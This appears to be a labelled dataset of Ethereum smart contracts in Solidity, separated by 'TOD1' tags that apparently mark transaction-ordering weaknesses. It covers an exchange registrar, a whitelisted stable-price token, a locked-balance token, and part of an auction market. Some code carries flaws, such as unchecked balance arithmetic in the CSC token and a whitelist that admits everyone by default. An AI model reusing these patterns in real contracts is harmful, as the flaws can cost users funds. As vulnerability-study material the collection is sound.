transfer(address _to, uint256 _value) external returns (bool); function totalSupply() external constant returns (uint256); function balanceOf(address _owner) external constant returns (uint256); function approve(address _spender, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); function allowance(address _owner, address _spender) external constant returns (uint256); } /** * @title CrydrViewERC20LoggableInterface * @dev Contract is able to create Transfer/Approval events with the cal from controller */ contract CrydrViewERC20LoggableInterface { function emitTransferEvent(address _from, address _to, uint256 _value) external; function emitApprovalEvent(address _owner, address _spender, uint256 _value) external; } /** * @title CrydrStorageERC20Interface interface * @dev Interface of a contract that manages balance of an CryDR and have optimization for ERC20 controllers */ contract CrydrStorageERC20Interface { /* Events */ event CrydrTransferredEvent(address indexed from, address indexed to, uint256 value); event CrydrTransferredFromEvent(address indexed spender, address indexed from, address indexed to, uint256 value); event CrydrSpendingApprovedEvent(address indexed owner, address indexed spender, uint256 value); /* ERC20 optimization. _msgsender - account that invoked CrydrView */ function transfer(address _msgsender, address _to, uint256 _value) public; function transferFrom(address _msgsender, address _from, address _to, uint256 _value) public; function approve(address _msgsender, address _spender, uint256 _value) public; } /** * @title CrydrControllerBaseInterface interface * @dev Interface of a contract that implement business-logic of an CryDR, mediates CryDR views and storage */ contract CrydrControllerBaseInterface { /* Events */ event CrydrStorageChangedEvent(address indexed crydrstorage); event CrydrViewAddedEvent(address indexed crydrview, bytes32 standardname); event CrydrViewRemovedEvent(address indexed crydrview, bytes32 standardname); /* Configuration */ function setCrydrStorage(address _newStorage) external; function getCrydrStorageAddress() public constant returns (address); function setCrydrView(address _newCrydrView, string _viewApiStandardName) external; function removeCrydrView(string _viewApiStandardName) external; function getCrydrViewAddress(string _viewApiStandardName) public constant returns (address); function isCrydrViewAddress(address _crydrViewAddress) public constant returns (bool); function isCrydrViewRegistered(string _viewApiStandardName) public constant returns (bool); /* Helpers */ modifier onlyValidCrydrViewStandardName(string _viewApiStandard) { require(bytes(_viewApiStandard).length > 0); _; } modifier onlyCrydrView() { require(isCrydrViewAddress(msg.sender) == true); _; } } /** * @title JNTPaymentGatewayInterface * @dev Allows to charge users by JNT */ contract JNTPaymentGatewayInterface { /* Events */ event JNTChargedEvent(address indexed payableservice, address indexed from, address indexed to, uint256 value); /* Actions */ function chargeJNT(address _from, address _to, uint256 _value) public; } /** * @title JNTPaymentGateway * @dev Allows to charge users by JNT */ contract JNTPaymentGateway is ManageableInterface, CrydrControllerBaseInterface, JNTPaymentGatewayInterface { function chargeJNT( address _from, address _to, uint256 _value ) public onlyAllowedManager('jnt_payable_service') { CrydrStorageERC20Interface(getCrydrStorageAddress()).transfer(_from, _to, _value); emit JNTChargedEvent(msg.sender, _from, _to, _value); if (isCrydrViewRegistered('erc20') == true) { CrydrViewERC20LoggableInterface(getCrydrViewAddress('erc20')).emitTransferEvent(_from, _to, _value); } } } /** * @title JNTPayableService interface * @dev Interface of a contract that charge JNT for actions */ contract JNTPayableServiceInterface { /* Events */ event JNTControllerChangedEvent(address jntcontroller); event JNTBeneficiaryChangedEvent(address jntbeneficiary); event JNTChargedEvent(address indexed payer, address indexed to, uint256 value, bytes32 actionname); /* Configuration */ function setJntController(address _jntController) external; function getJntController() public constant returns (address); function setJntBeneficiary(address _jntBeneficiary) external; function getJntBeneficiary() public constant returns (address); function setActionPrice(string _actionName, uint256 _jntPriceWei) external; function getActionPrice(string _actionName) public constant returns (uint256); /* Actions */ function initChargeJNT(address _payer, string _actionName) internal; } contract JNTPayableService is CommonModifiersInterface, ManageableInterface, PausableInterface, JNTPayableServiceInterface { /* Storage */ JNTPaymentGateway jntController; address jntBeneficiary; mapping (string => uint256) actionPrice; /* Configuration */ function setJntController( address _jntController ) external onlyContractAddress(_jntController) onlyAllowedManager('set_jnt_controller') whenContractPaused { require(_jntController != address(jntController)); jntController = JNTPaymentGateway(_jntController); emit JNTControllerChangedEvent(_jntController); } function getJntController() public constant returns (address) { return address(jntController); } function setJntBeneficiary( address _jntBeneficiary ) external onlyValidJntBeneficiary(_jntBeneficiary) onlyAllowedManager('set_jnt_beneficiary') whenContractPaused { require(_jntBeneficiary != jntBeneficiary); require(_jntBeneficiary != address(this)); jntBeneficiary = _jntBeneficiary; emit JNTBeneficiaryChangedEvent(jntBeneficiary); } function getJntBeneficiary() public constant returns (address) { return jntBeneficiary; } function setActionPrice( string _actionName, uint256 _jntPriceWei ) external onlyAllowedManager('set_action_price') onlyValidActionName(_actionName) whenContractPaused { require (_jntPriceWei > 0); actionPrice[_actionName] = _jntPriceWei; } function getActionPrice( string _actionName ) public constant onlyValidActionName(_actionName) returns (uint256) { return actionPrice[_actionName]; } /* Actions */ function initChargeJNT( address _from, string _actionName ) internal onlyValidActionName(_actionName) whenContractNotPaused { require(_from != address(0x0)); require(_from != jntBeneficiary); uint256 _actionPrice = getActionPrice(_actionName); require (_actionPrice > 0); jntController.chargeJNT(_from, jntBeneficiary, _actionPrice); emit JNTChargedEvent(_from, jntBeneficiary, _actionPrice, keccak256(_actionName)); } /* Pausable */ /** * @dev Override method to ensure that contract properly configured before it is unpaused */ function unpauseContract() public onlyContractAddress(jntController) onlyValidJntBeneficiary(jntBeneficiary) { super.unpauseContract(); } /* Modifiers */ modifier onlyValidJntBeneficiary(address _jntBeneficiary) { require(_jntBeneficiary != address(0x0)); _; } /** * @dev Modifier to check name of manager permission */ modifier onlyValidActionName(string _actionName) { require(bytes(_actionName).length != 0); _; } } /** * @title JcashRegistrarInterface * @dev Interface of a contract that can receives ETH&ERC20, refunds ETH&ERC20 and logs these operations */ contract JcashRegistrarInterface { /* Events */ event ReceiveEthEvent(address indexed from, uint256 value); event RefundEthEvent(bytes32 txhash, address indexed to, uint256 value); event TransferEthEvent(bytes32 txhash, address indexed to, uint256 value); event RefundTokenEvent(bytes32 txhash, address indexed tokenaddress, address indexed to, uint256 value); event TransferTokenEvent(bytes32 txhash, address indexed tokenaddress, address indexed to, uint256 value); event ReplenishEthEvent(address indexed from, uint256 value); event WithdrawEthEvent(address indexed to, uint256 value); event WithdrawTokenEvent(address indexed tokenaddress, address indexed to, uint256 value); event PauseEvent(); event UnpauseEvent(); /* Replenisher actions */ /** * @dev Allows to withdraw ETH by Replenisher. */ function withdrawEth(uint256 _weivalue) external; /** * @dev Allows to withdraw tokens by Replenisher. */ function withdrawToken(address _tokenAddress, uint256 _weivalue) external; /* Processing of exchange operations */ /** * @dev Allows to perform refund ETH. */ function refundEth(bytes32 _txHash, address _to, uint256 _weivalue) external; /** * @dev Allows to perform refund ERC20 tokens. */ function refundToken(bytes32 _txHash, address _tokenAddress, address _to, uint256 _weivalue) external; /** * @dev Allows to perform transfer ETH. * */ function transferEth(bytes32 _txHash, address _to, uint256 _weivalue) external; /** * @dev Allows to perform transfer ERC20 tokens. */ function transferToken(bytes32 _txHash, address _tokenAddress, address _to, uint256 _weivalue) external; /* Getters */ /** * @dev The getter returns true if tx hash is processed */ function isProcessedTx(bytes32 _txHash) public view returns (bool); } /** * @title JcashRegistrar * @dev Implementation of a contract that can receives ETH&ERC20, refunds ETH&ERC20 and logs these operations */ contract JcashRegistrar is CommonModifiers, Ownable, Manageable, Pausable, JNTPayableService, JcashRegistrarInterface { /* Storage */ mapping (bytes32 => bool) processedTxs; /* Events */ event ReceiveEthEvent(address indexed from, uint256 value); event RefundEthEvent(bytes32 txhash, address indexed to, uint256 value); event TransferEthEvent(bytes32 txhash, address indexed to, uint256 value); event RefundTokenEvent(bytes32 txhash, address indexed tokenaddress, address indexed to, uint256 value); event TransferTokenEvent(bytes32 txhash, address indexed tokenaddress, address indexed to, uint256 value); event ReplenishEthEvent(address indexed from, uint256 value); event WithdrawEthEvent(address indexed to, uint256 value); event WithdrawTokenEvent(address indexed tokenaddress, address indexed to, uint256 value); event PauseEvent(); event UnpauseEvent(); /* Modifiers */ /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint256 size) { require(msg.data.length == (size + 4)); _; } /** * @dev Fallback function allowing the contract to receive funds, if contract haven't already been paused. */ function () external payable { if (isManagerAllowed(msg.sender, 'replenish_eth')==true) { emit ReplenishEthEvent(msg.sender, msg.value); } else { require (getPaused() == false); emit ReceiveEthEvent(msg.sender, msg.value); } } /* Replenisher actions */ /** * @dev Allows to withdraw ETH by Replenisher. */ function withdrawEth( uint256 _weivalue ) external onlyAllowedManager('replenish_eth') onlyPayloadSize(1 * 32) { require (_weivalue > 0); address(msg.sender).transfer(_weivalue); emit WithdrawEthEvent(msg.sender, _weivalue); } /** * @dev Allows to withdraw tokens by Replenisher. */ function withdrawToken( address _tokenAddress, uint256 _weivalue ) external onlyAllowedManager('replenish_token') onlyPayloadSize(2 * 32) { require (_tokenAddress != address(0x0)); require (_tokenAddress != address(this)); require (_weivalue > 0); CrydrViewERC20Interface(_tokenAddress).transfer(msg.sender, _weivalue); emit WithdrawTokenEvent(_tokenAddress, msg.sender, _weivalue); } /* Processing of exchange operations */ /** * @dev Allows to perform refund ETH. */ function refundEth( bytes32 _txHash, address _to, uint256 _weivalue ) external onlyAllowedManager('refund_eth') whenContractNotPaused onlyPayloadSize(3 * 32) { require (_txHash != bytes32(0)); require (processedTxs[_txHash] == false); require (_to != address(0x0)); require (_to != address(this)); require (_weivalue > 0); processedTxs[_txHash] = true; _to.transfer(_weivalue); emit RefundEthEvent(_txHash, _to, _weivalue); } /** * @dev Allows to perform refund ERC20 tokens. */ function refundToken( bytes32 _txHash, address _tokenAddress, address _to, uint256 _weivalue ) external onlyAllowedManager('refund_token') whenContractNotPaused onlyPayloadSize(4 * 32) { require (_txHash != bytes32(0)); require (processedTxs[_txHash] == false); require (_tokenAddress != address(0x0)); require (_tokenAddress != address(this)); require (_to != address(0x0)); require (_to != address(this)); require (_weivalue > 0); processedTxs[_txHash] = true; CrydrViewERC20Interface(_tokenAddress).transfer(_to, _weivalue); emit RefundTokenEvent(_txHash, _tokenAddress, _to, _weivalue); } /** * @dev Allows to perform transfer ETH. * */ function transferEth( bytes32 _txHash, address _to, uint256 _weivalue ) external onlyAllowedManager('transfer_eth') whenContractNotPaused onlyPayloadSize(3 * 32) { require (_txHash != bytes32(0)); require (processedTxs[_txHash] == false); require (_to != address(0x0)); require (_to != address(this)); require (_weivalue > 0); processedTxs[_txHash] = true; _to.transfer(_weivalue); if (getActionPrice('transfer_eth') > 0) { initChargeJNT(_to, 'transfer_eth'); } emit TransferEthEvent(_txHash, _to, _weivalue); } /** * @dev Allows to perform transfer ERC20 tokens. */ function transferToken( bytes32 _txHash, address _tokenAddress, address _to, uint256 _weivalue ) external onlyAllowedManager('transfer_token') whenContractNotPaused onlyPayloadSize(4 * 32) { require (_txHash != bytes32(0)); require (processedTxs[_txHash] == false); require (_tokenAddress != address(0x0)); require (_tokenAddress != address(this)); require (_to != address(0x0)); require (_to != address(this)); processedTxs[_txHash] = true; CrydrViewERC20Interface(_tokenAddress).transfer(_to, _weivalue); if (getActionPrice('transfer_token') > 0) { initChargeJNT(_to, 'transfer_token'); } emit TransferTokenEvent(_txHash, _tokenAddress, _to, _weivalue); } /* Getters */ /** * @dev The getter returns true if tx hash is processed */ function isProcessedTx( bytes32 _txHash ) public view onlyPayloadSize(1 * 32) returns (bool) { require (_txHash != bytes32(0)); return processedTxs[_txHash]; } }
TOD1
// File: zos-lib/contracts/Initializable.sol pragma solidity >=0.4.24 <0.6.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool wasInitializing = initializing; initializing = true; initialized = true; _; initializing = wasInitializing; } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. uint256 cs; assembly { cs := extcodesize(address) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: openzeppelin-eth/contracts/token/ERC20/IERC20.sol pragma solidity ^0.4.24; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-eth/contracts/math/SafeMath.sol pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-eth/contracts/token/ERC20/ERC20.sol pragma solidity ^0.4.24; /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract ERC20 is Initializable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param amount The amount that will be created. */ function _mint(address account, uint256 amount) internal { require(account != 0); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param amount The amount that will be burnt. */ function _burn(address account, uint256 amount) internal { require(account != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * @param account The account whose tokens will be burnt. * @param amount The amount that will be burnt. */ function _burnFrom(address account, uint256 amount) internal { require(amount <= _allowed[account][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( amount); _burn(account, amount); } uint256[50] private ______gap; } // File: openzeppelin-eth/contracts/ownership/Ownable.sol pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable is Initializable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function initialize(address sender) public initializer { _owner = sender; } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[50] private ______gap; } // File: contracts/Managed.sol pragma solidity ^0.4.17; /** * @title Managed * @dev The Managed is similar to Ownable, except that the manager is changed by the * owner, instead of the manager, making them a second tier role. */ contract Managed is Ownable { address public manager; /** * @dev Throws if called by any account other than the manager. */ modifier onlyManager() { require(msg.sender == manager); _; } modifier onlyAdministrators() { bool isOwner = msg.sender == owner(); bool isManager = msg.sender == manager; bool hasManager = manager != address(0x0); bool isManagerOwner = hasManager && msg.sender == Ownable(manager).owner(); require(isOwner || isManager || isManagerOwner); _; } /** * @dev Allows the current owner to set the manager. * @param newManager The address to transfer ownership to. */ function setManager(address newManager) onlyOwner public { manager = newManager; } } // File: contracts/StablePrice.sol pragma solidity ^0.4.17; contract StablePrice is Managed { using SafeMath for uint256; uint8 public priceInUSD; // ETHUSD uint32 public exchangeRate = 100000; constructor(uint8 _priceInUSD) public { priceInUSD = _priceInUSD; } function setPrice(uint8 newPriceInUSD) public onlyOwner { priceInUSD = newPriceInUSD; } function setExchangeRate(uint32 newExchangeRate) public onlyAdministrators returns (bool) { exchangeRate = newExchangeRate; } function getPrice() public view returns (uint256) { uint256 exchangeRateInWei = SafeMath.div(1 ether, exchangeRate); return exchangeRateInWei.mul(priceInUSD); } } // File: contracts/Whitelist.sol pragma solidity ^0.4.25; contract Whitelist is Initializable, Ownable { mapping(address => bool) private whitelist; bool public debugMode; function initialize() initializer public { Ownable.initialize(msg.sender); debugMode = true; } function isWhitelisted(address user) public view returns (bool) { return debugMode || whitelist[user]; } function setWhitelisted(address user, bool _isWhitelisted) onlyOwner public { whitelist[user] = _isWhitelisted; } function toggleDebugMode() public onlyOwner { debugMode = !debugMode; } } // File: contracts/MinutemanToken.sol pragma solidity ^0.4.17; // This is just a simple example of a coin-like contract. // It is not standards compatible and cannot be expected to talk to other // coin/token contracts. If you want to create a standards-compliant // token, see: https://github.com/ConsenSys/Tokens. Cheers! contract MinutemanToken is ERC20, Ownable, Managed, StablePrice(10) { using SafeMath for uint256; string public symbol = "FREE"; string public name = "Minuteman Token"; uint8 public decimals = 18; Whitelist private whitelist; constructor(address whitelistAddress) public { Ownable.initialize(msg.sender); whitelist = Whitelist(whitelistAddress); ERC20._mint(msg.sender, 10000 ether); emit Mint(msg.sender, 10000 ether); } event Mint(address indexed receiver, uint256 value); modifier onlyWhitelisted() { require(whitelist.isWhitelisted(msg.sender), "Sender must be whitelisted"); _; } /** * @dev Users can purchase tokens by sending Ether to the contract address. Any change from * the transaction will be returned to the sender. */ function() public payable onlyWhitelisted { uint price = getPrice(); uint tokens = msg.value.div(price); ERC20._mint(msg.sender, tokens); msg.sender.transfer(msg.value % price); emit Mint(msg.sender, tokens); } /** * @dev Transfer tokens from one address to another. Standard token holders can transfer * allowed tokens to any eligible receiver, while the owner can transfer any tokens to any * address. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { require(whitelist.isWhitelisted(to)); ERC20.transferFrom(from, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(whitelist.isWhitelisted(spender)); ERC20.approve(spender, value); return true; } /** * @dev transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { require(whitelist.isWhitelisted(to)); ERC20._transfer(msg.sender, to, value); return true; } /** * @dev The owner can mint new tokens, stored in the owner's wallet. * @param amount The number of tokens to mint. */ function mint(uint256 amount) onlyManager public returns (bool){ ERC20._mint(msg.sender, amount); emit Mint(msg.sender, amount); return true; } /** * @dev The owner can withdraw the contract's Ether to their wallet. * @param amount The amount of Ether to withdraw. */ function withdraw(uint256 amount) onlyOwner public returns (bool){ owner().transfer(amount); return true; } function destroy() onlyOwner public { selfdestruct(owner()); } }
TOD1
pragma solidity ^0.4.23; contract CSC { mapping (address => uint256) private balances; mapping (address => uint256[2]) private lockedBalances; string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX uint256 public totalSupply; address public owner; event Transfer(address indexed _from, address indexed _to, uint256 _value); constructor( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, address _owner, address[] _lockedAddress, uint256[] _lockedBalances, uint256[] _lockedTimes ) public { balances[_owner] = _initialAmount; // Give the owner all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes owner = _owner; // set owner for(uint i = 0;i < _lockedAddress.length;i++){ lockedBalances[_lockedAddress[i]][0] = _lockedBalances[i]; lockedBalances[_lockedAddress[i]][1] = _lockedTimes[i]; } } /*DirectDrop and AirDrop*/ /*Checking lock limit and time limit while transfering.*/ function transfer(address _to, uint256 _value) public returns (bool success) { //Before ICO finish, only own could transfer. if(_to != address(0)){ if(lockedBalances[msg.sender][1] >= now) { require((balances[msg.sender] > lockedBalances[msg.sender][0]) && (balances[msg.sender] - lockedBalances[msg.sender][0] >= _value)); } else { require(balances[msg.sender] >= _value); } balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } } /*With permission, destory token from an address and minus total amount.*/ function burnFrom(address _who,uint256 _value)public returns (bool){ require(msg.sender == owner); assert(balances[_who] >= _value); totalSupply -= _value; balances[_who] -= _value; lockedBalances[_who][0] = 0; lockedBalances[_who][1] = 0; return true; } /*With permission, creating coin.*/ function makeCoin(uint256 _value)public returns (bool){ require(msg.sender == owner); totalSupply += _value; balances[owner] += _value; return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /*With permission, withdraw ETH to owner address from smart contract.*/ function withdraw() public{ require(msg.sender == owner); msg.sender.transfer(address(this).balance); } /*With permission, withdraw ETH to an address from smart contract.*/ function withdrawTo(address _to) public{ require(msg.sender == owner); address(_to).transfer(address(this).balance); } }
TOD1
pragma solidity ^0.4.20; contract CutieCoreInterface { function isCutieCore() pure public returns (bool); function transferFrom(address _from, address _to, uint256 _cutieId) external; function transfer(address _to, uint256 _cutieId) external; function ownerOf(uint256 _cutieId) external view returns (address owner); function getCutie(uint40 _id) external view returns ( uint256 genes, uint40 birthTime, uint40 cooldownEndTime, uint40 momId, uint40 dadId, uint16 cooldownIndex, uint16 generation ); function getGenes(uint40 _id) public view returns ( uint256 genes ); function getCooldownEndTime(uint40 _id) public view returns ( uint40 cooldownEndTime ); function getCooldownIndex(uint40 _id) public view returns ( uint16 cooldownIndex ); function getGeneration(uint40 _id) public view returns ( uint16 generation ); function getOptional(uint40 _id) public view returns ( uint64 optional ); function changeGenes( uint40 _cutieId, uint256 _genes) public; function changeCooldownEndTime( uint40 _cutieId, uint40 _cooldownEndTime) public; function changeCooldownIndex( uint40 _cutieId, uint16 _cooldownIndex) public; function changeOptional( uint40 _cutieId, uint64 _optional) public; function changeGeneration( uint40 _cutieId, uint16 _generation) public; } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /// @title Auction Market for Blockchain Cuties. /// @author https://BlockChainArchitect.io contract MarketInterface { function withdrawEthFromBalance() external; function createAuction(uint40 _cutieId, uint128 _startPrice, uint128 _endPrice, uint40 _duration, address _seller) public payable; function bid(uint40 _cutieId) public payable; } /// @title Auction Market for Blockchain Cuties. /// @author https://BlockChainArchitect.io contract Market is MarketInterface, Pausable { // Shows the auction on an Cutie Token struct Auction { // Price (in wei) at the beginning of auction uint128 startPrice; // Price (in wei) at the end of auction uint128 endPrice; // Current owner of Token address seller; // Auction duration in seconds uint40 duration; // Time when auction started // NOTE: 0 if this auction has been concluded uint40 startedAt; // Featuring fee (in wei, optional) uint128 featuringFee; } // Reference to contract that tracks ownership CutieCoreInterface public coreContract; // Cut owner takes on each auction, in basis points - 1/100 of a per cent. // Values 0-10,000 map to 0%-100% uint16 public ownerFee; // Map from token ID to their corresponding auction. mapping (uint40 => Auction) cutieIdToAuction; event AuctionCreated(uint40 cutieId, uint128 startPrice, uint128 endPrice, uint40 duration, uint128 fee); event AuctionSuccessful(uint40 cutieId, uint128 totalPrice, address winner); event AuctionCancelled(uint40 cutieId); /// @dev disables sending fund to this contract function() external {} modifier canBeStoredIn128Bits(uint256 _value) { require(_value <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); _; } // @dev Adds to the list of open auctions and fires the // AuctionCreated event. // @param _cutieId The token ID is to be put on auction. // @param _auction To add an auction. // @param _fee Amount of money to feature auction function _addAuction(uint40 _cutieId, Auction _auction) internal { // Require that all 